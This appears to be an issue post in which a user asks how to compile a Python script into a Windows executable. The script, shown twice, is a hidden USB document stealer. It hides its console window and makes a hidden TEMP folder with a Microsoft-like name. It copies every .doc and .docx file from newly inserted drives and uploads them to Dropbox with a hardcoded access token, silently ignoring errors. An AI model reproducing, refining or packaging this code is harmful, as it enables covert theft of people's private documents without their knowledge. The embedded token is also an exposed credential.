OS: [e.g. Windows 10]
Commit/Build: [e.g. b227928]
I want to compile this script and make an .exe program but can't figure out the setup script.
My code is as follow:
#############################################################################
import time,os,subprocess,shutil,string
import dropbox
import win32console, win32gui, win32event
from dropbox.files import WriteMode
from ctypes import windll
window = win32console.GetConsoleWindow()
win32gui.ShowWindow(window, 0)
TOKEN = 'ATzN4nlDxjAAAAAAAAAACprFwo8nH891r4Y5jMR0RBpMz6EA92s1tOzOdSVTAZdI'
TMP = os.environ["TEMP"]
docext=TMP + "/microsoft_data_doc"
def get_drives():
drives = []
bitmask = windll.kernel32.GetLogicalDrives()
for letter in string.uppercase:
if bitmask & 1:
drives.append(letter)
bitmask >>= 1
return drives
if not os.path.isdir(docext): # if the screen dir doesnt exist, create it
os.makedirs(docext)
subprocess.Popen(["attrib", "+H", docext])
if name == 'main':
destination = docext+"/"
before = set(['I', 'H', 'C', 'G', 'F'])
while True:
after = set(get_drives())
drives = after - before
delta = len(drives)
if (delta):
for drive in drives:
for r, d, f in os.walk(drive+":/"):
for file in f:
if file.endswith(".doc")or file.endswith(".docx") :
p=os.path.join(r, file)
shutil.copy(p,destination)
try:
dbx = dropbox.Dropbox(TOKEN)
dbx.users_get_current_account()
for paper in os.listdir(docext):
LOCALFILE=docext+'/'+paper
BACKUPPATH ='/'+paper
with open(LOCALFILE, 'rb') as f:
try:
dbx.files_upload(f.read(), BACKUPPATH, mode=WriteMode('overwrite'))
except:
pass
except:
pass
time.sleep(6)
############################################################################
OS: [e.g. Windows 10] Commit/Build: [e.g. b227928]
I want to compile this script and make an .exe program but can't figure out the setup script. My code is as follow: ############################################################################# import time,os,subprocess,shutil,string import dropbox import win32console, win32gui, win32event from dropbox.files import WriteMode from ctypes import windll
window = win32console.GetConsoleWindow() win32gui.ShowWindow(window, 0) TOKEN = 'ATzN4nlDxjAAAAAAAAAACprFwo8nH891r4Y5jMR0RBpMz6EA92s1tOzOdSVTAZdI' TMP = os.environ["TEMP"] docext=TMP + "/microsoft_data_doc" def get_drives(): drives = [] bitmask = windll.kernel32.GetLogicalDrives() for letter in string.uppercase: if bitmask & 1: drives.append(letter) bitmask >>= 1 return drives
if not os.path.isdir(docext): # if the screen dir doesnt exist, create it os.makedirs(docext) subprocess.Popen(["attrib", "+H", docext])
if name == 'main': destination = docext+"/" before = set(['I', 'H', 'C', 'G', 'F']) while True: after = set(get_drives()) drives = after - before delta = len(drives) if (delta): for drive in drives: for r, d, f in os.walk(drive+":/"): for file in f: if file.endswith(".doc")or file.endswith(".docx") : p=os.path.join(r, file) shutil.copy(p,destination) try: dbx = dropbox.Dropbox(TOKEN) dbx.users_get_current_account() for paper in os.listdir(docext): LOCALFILE=docext+'/'+paper BACKUPPATH ='/'+paper with open(LOCALFILE, 'rb') as f: try: dbx.files_upload(f.read(), BACKUPPATH, mode=WriteMode('overwrite')) except: pass except: pass time.sleep(6) ############################################################################